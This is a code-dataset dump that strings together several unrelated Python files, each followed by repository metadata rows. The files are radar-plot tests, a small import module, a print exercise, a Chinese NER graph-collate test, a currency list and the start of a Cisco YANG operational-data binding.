pydda.vis.plot_xz_xsection_streamlines(Grids, None, 'reflectivity', level=40, w_vel_contours=[3, 6, 9]) plt.ylim([0,15]) return fig @pytest.mark.mpl_image_compare(tolerance=50) def test_plot_horiz_yz_xsection_streamlines(): Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0), pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)] fig = plt.figure(figsize=(9,5)) pydda.vis.plot_yz_xsection_streamlines(Grids, None, 'reflectivity', level=40, w_vel_contours=[1, 3, 5, 7]) return fig @pytest.mark.mpl_image_compare(tolerance=50) def test_plot_horiz_xsection_quiver(): Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0), pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)] fig = plt.figure(figsize=(7,7)) pydda.vis.plot_horiz_xsection_quiver(Grids, None, 'reflectivity', level=6, w_vel_contours=[3, 6, 9], quiver_spacing_x_km=5.0, quiver_spacing_y_km=5.0, quiver_width=0.005, quiverkey_len=10.0) return fig @pytest.mark.mpl_image_compare(tolerance=50) def test_plot_horiz_xsection_quiver_map(): berr_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0) cpol_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1) fig = plt.figure(figsize=(9, 9)) ax = plt.axes(projection=ccrs.PlateCarree()) pydda.vis.plot_horiz_xsection_quiver_map( [cpol_grid, berr_grid], ax=ax, bg_grid_no=-1, level=7, w_vel_contours=[3, 5, 8], quiver_width=0.005, quiverkey_len=10.0) return fig @pytest.mark.mpl_image_compare(tolerance=50) def test_plot_horiz_xz_xsection_quiver(): Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0), pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)] fig = plt.figure(figsize=(9,5)) pydda.vis.plot_xz_xsection_quiver(Grids, None, 'reflectivity', level=40, w_vel_contours=[3, 6, 9], quiver_spacing_x_km=5.0, quiver_spacing_z_km=1.0, quiver_width=0.005, quiverkey_len=10.0) plt.ylim([0,15]) return fig @pytest.mark.mpl_image_compare(tolerance=50) def test_plot_horiz_yz_xsection_quiver(): Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0), pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)] fig = plt.figure(figsize=(9,5)) pydda.vis.plot_yz_xsection_quiver(Grids, None, 'reflectivity', level=40, w_vel_contours=[1, 3, 5, 7], quiver_spacing_y_km=5.0, quiver_spacing_z_km=1.0, quiver_width=0.005, quiverkey_len=10.0) return fig
40.272727
77
0.597442
862
6,645
4.310905
0.099768
0.04521
0.071044
0.096878
0.949677
0.949139
0.931647
0.926803
0.926803
0.926803
0
0.041266
0.296163
6,645
164
78
40.518293
0.753261
0.005869
0
0.716418
0
0
0.018645
0
0
0
0
0
0
1
0.089552
false
0
0.044776
0
0.223881
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
44378e6d4dc555ac97c2cf82f9528da7748a2313
32
py
Python
pyesl/esl_helpers/__init__.py
pinoeottavio/ESLEx
9d203da5b46c8d66ade827c237c738a35928af48
[ "MIT" ]
1
2020-01-16T22:33:48.000Z
2020-01-16T22:33:48.000Z
pyesl/esl_helpers/__init__.py
pinoeottavio/ESLEx
9d203da5b46c8d66ade827c237c738a35928af48
[ "MIT" ]
null
null
null
pyesl/esl_helpers/__init__.py
pinoeottavio/ESLEx
9d203da5b46c8d66ade827c237c738a35928af48
[ "MIT" ]
null
null
null
from .plt_style import plt_style
32
32
0.875
6
32
4.333333
0.666667
0.615385
0
0
0
0
0
0
0
0
0
0
0.09375
32
1
32
32
0.896552
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
4453dc4603b51129a42ebe98021c14b72485b9e3
71
py
Python
ch01/hw01_05/hw01_05.py
z2x3c4v5bz/pybook_wenlongtsai_etc
0a3e90d9f53a1d33e31b27f40de8abdce56e7e2a
[ "MIT" ]
4
2021-06-12T07:51:22.000Z
2021-12-20T11:35:12.000Z
ch01/hw01_05/hw01_05.py
z2x3c4v5bz/pybook_wenlongtsai_etc
0a3e90d9f53a1d33e31b27f40de8abdce56e7e2a
[ "MIT" ]
null
null
null
ch01/hw01_05/hw01_05.py
z2x3c4v5bz/pybook_wenlongtsai_etc
0a3e90d9f53a1d33e31b27f40de8abdce56e7e2a
[ "MIT" ]
1
2021-11-08T03:36:43.000Z
2021-11-08T03:36:43.000Z
# hw01_05 print('3 + 4 =', end=' ') print(3 + 4) ''' 3 + 4 = 7 '''
6.454545
25
0.380282
12
71
2.166667
0.583333
0.230769
0.538462
0
0
0
0
0
0
0
0
0.22449
0.309859
71
10
26
7.1
0.306122
0.098592
0
0
0
0
0.186047
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
0
0
null
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
7
446896220fd34eb16df59369093dd332306838f9
12,192
py
Python
ner/tests/data/test_bilstm_gat_model_collate.py
freedomkite/easytext
ef83261a366bd8d7c259aa112da14f3fa7cdf918
[ "MIT" ]
17
2020-06-19T12:12:13.000Z
2022-01-28T02:07:01.000Z
ner/tests/data/test_bilstm_gat_model_collate.py
freedomkite/easytext
ef83261a366bd8d7c259aa112da14f3fa7cdf918
[ "MIT" ]
24
2020-06-08T08:51:36.000Z
2022-02-08T03:30:19.000Z
ner/tests/data/test_bilstm_gat_model_collate.py
freedomkite/easytext
ef83261a366bd8d7c259aa112da14f3fa7cdf918
[ "MIT" ]
7
2020-07-20T06:40:00.000Z
2022-01-28T03:52:49.000Z
#!/usr/bin/env python 3 # -*- coding: utf-8 -*- # # Copyright (c) 2021 PanXu, Inc. All Rights Reserved # """ 测试 bilstm gat model collate Authors: PanXu Date: 2021/02/18 12:14:00 """ import logging import torch from easytext.utils.json_util import json2str from easytext.data import Vocabulary, LabelVocabulary, PretrainedVocabulary from easytext.utils.nn.tensor_util import is_tensor_equal from ner.tests.data.lattice.conftest import lattice_ner_demo_dataset, gaz_pretrained_embedding_loader from ner.data import VocabularyCollate from ner.data import BiLstmGATModelCollate from ner.data.lattice import Gazetteer, GazVocabularyCollate from ner.tests import ASSERT expect_t_graph = [[1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1]] expect_c_graph = [[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]] expect_l_graph = [[1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]] def test_bilstm_gat_model_collate(lattice_ner_demo_dataset, gaz_pretrained_embedding_loader): """ 测试 bilstm gat model collate :return: """ # 仅仅取前两个作为测试 batch_instances = lattice_ner_demo_dataset[0:2] vocabulary_collate = VocabularyCollate() collate_result = vocabulary_collate(batch_instances) tokens = collate_result["tokens"] sequence_label = collate_result["sequence_labels"] token_vocabulary = Vocabulary(tokens=tokens, padding=Vocabulary.PADDING, unk=Vocabulary.UNK, special_first=True) label_vocabulary = LabelVocabulary(labels=sequence_label, padding=LabelVocabulary.PADDING) gazetter = Gazetteer(gaz_pretrained_word_embedding_loader=gaz_pretrained_embedding_loader) gaz_vocabulary_collate = GazVocabularyCollate(gazetteer=gazetter) gaz_words = gaz_vocabulary_collate(batch_instances) gaz_vocabulary = Vocabulary(tokens=gaz_words, padding=Vocabulary.PADDING, unk=Vocabulary.UNK, special_first=True) gaz_vocabulary = PretrainedVocabulary(vocabulary=gaz_vocabulary, pretrained_word_embedding_loader=gaz_pretrained_embedding_loader) bilstm_gat_model_collate = BiLstmGATModelCollate(token_vocabulary=token_vocabulary, gazetter=gazetter, gaz_vocabulary=gaz_vocabulary, label_vocabulary=label_vocabulary) model_inputs = bilstm_gat_model_collate(batch_instances) logging.debug(json2str(model_inputs.model_inputs["metadata"])) t_graph_0 = model_inputs.model_inputs["t_graph"][0] c_graph_0 = model_inputs.model_inputs["c_graph"][0] l_graph_0 = model_inputs.model_inputs["l_graph"][0] expect_t_graph_tensor = torch.tensor(expect_t_graph, dtype=torch.uint8) ASSERT.assertTrue(is_tensor_equal(expect_t_graph_tensor, t_graph_0)) expect_c_graph_tensor = torch.tensor(expect_c_graph, dtype=torch.uint8) ASSERT.assertTrue(is_tensor_equal(expect_c_graph_tensor, c_graph_0)) expect_l_graph_tensor = torch.tensor(expect_l_graph, dtype=torch.uint8) ASSERT.assertTrue(is_tensor_equal(expect_l_graph_tensor, l_graph_0)) gaz_words_indices = model_inputs.model_inputs["gaz_words"] ASSERT.assertEqual((2, 11), gaz_words_indices.size()) metadata_0 = model_inputs.model_inputs["metadata"][0] # 陈元呼吁加强国际合作推动世界经济发展 expect_squeeze_gaz_words_0 = ["陈元", "呼吁", "吁加", "加强", "强国", "国际", "合作", "推动", "世界", "经济", "发展"] sequeeze_gaz_words_0 = metadata_0["sequeeze_gaz_words"] ASSERT.assertListEqual(expect_squeeze_gaz_words_0, sequeeze_gaz_words_0) expect_squeeze_gaz_words_indices_0 = torch.tensor( [gaz_vocabulary.index(word) for word in expect_squeeze_gaz_words_0], dtype=torch.long) ASSERT.assertTrue(is_tensor_equal(expect_squeeze_gaz_words_indices_0, gaz_words_indices[0]))
107.893805
2,777
0.446358
3,165
12,192
1.662875
0.036651
0.837925
1.152575
1.406042
0.689151
0.640319
0.607828
0.607828
0.567547
0.546266
0
0.318434
0.291667
12,192
112
2,778
108.857143
0.290991
0.019275
0
0.101695
0
0
0.008975
0
0
0
0
0
0.118644
1
0.016949
false
0
0.169492
0
0.186441
0
0
0
1
null
1
1
1
0
0
0
0
0
0
0
1
0
0
0
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
925312b7b0772fc6c9c9ce19ac91eda11a5cd03c
509
py
Python
currency.py
Aashish2023/hacktoberfest2021
fdbc50a297deab5dc1a5e5e6360c5a0b07a705a6
[ "CC0-1.0" ]
null
null
null
currency.py
Aashish2023/hacktoberfest2021
fdbc50a297deab5dc1a5e5e6360c5a0b07a705a6
[ "CC0-1.0" ]
null
null
null
currency.py
Aashish2023/hacktoberfest2021
fdbc50a297deab5dc1a5e5e6360c5a0b07a705a6
[ "CC0-1.0" ]
null
null
null
options = [ "USD", "EUR", "JPY", "GBP", "AUD", "CAD", "CHF", "CNY", "HKD", "NZD", "SEK", "KRW", "SGD", "NOK", "MXN", "INR", "RUB", "ZAR", "TRY", "BRL", ] opt2=[ "USD", "EUR", "JPY", "GBP", "AUD", "CAD", "CHF", "CNY", "HKD", "NZD", "SEK", "KRW", "SGD", "NOK", "MXN", "INR", "RUB", "ZAR", "TRY", "BRL", ]
11.065217
12
0.257367
42
509
3.119048
0.52381
0.091603
0.137405
0.183206
0.916031
0.916031
0.916031
0.916031
0.916031
0.916031
0
0.003891
0.495088
509
45
13
11.311111
0.505837
0
0
0.909091
0
0
0.258621
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
2bb06c95522b4a76c61d0a737a2e5be28087649f
26,020
py
Python
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_ip_pfilter_oper.py
tkamata-test/ydk-py
b637e7853a8edbbd31fbc05afa3aa4110b31c5f9
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_ip_pfilter_oper.py
tkamata-test/ydk-py
b637e7853a8edbbd31fbc05afa3aa4110b31c5f9
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_ip_pfilter_oper.py
tkamata-test/ydk-py
b637e7853a8edbbd31fbc05afa3aa4110b31c5f9
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
""" Cisco_IOS_XR_ip_pfilter_oper This module contains a collection of YANG definitions for Cisco IOS\-XR ip\-pfilter package operational data. This module contains definitions for the following management objects\: pfilter\-ma\: Root class of PfilterMa Oper schema Copyright (c) 2013\-2016 by Cisco Systems, Inc. All rights reserved. """ import re import collections from enum import Enum from ydk.types import Empty, YList, YLeafList, DELETE, Decimal64, FixedBitsDict from ydk.errors import YPYError, YPYModelError class PfilterMa(object): """ Root class of PfilterMa Oper schema .. attribute:: nodes Node\-specific operational data **type**\: :py:class:`Nodes <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes>` """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.nodes = PfilterMa.Nodes() self.nodes.parent = self class Nodes(object): """ Node\-specific operational data .. attribute:: node PfilterMa operational data for a particular node **type**\: list of :py:class:`Node <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node>` """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.parent = None self.node = YList() self.node.parent = self self.node.name = 'node' class Node(object): """ PfilterMa operational data for a particular node .. attribute:: node_name <key> The node **type**\: str **pattern:** ([a\-zA\-Z0\-9\_]\*\\d+/){1,2}([a\-zA\-Z0\-9\_]\*\\d+) .. attribute:: process Operational data for pfilter **type**\: :py:class:`Process <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process>` """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.parent = None self.node_name = None self.process = PfilterMa.Nodes.Node.Process() self.process.parent = self class Process(object): 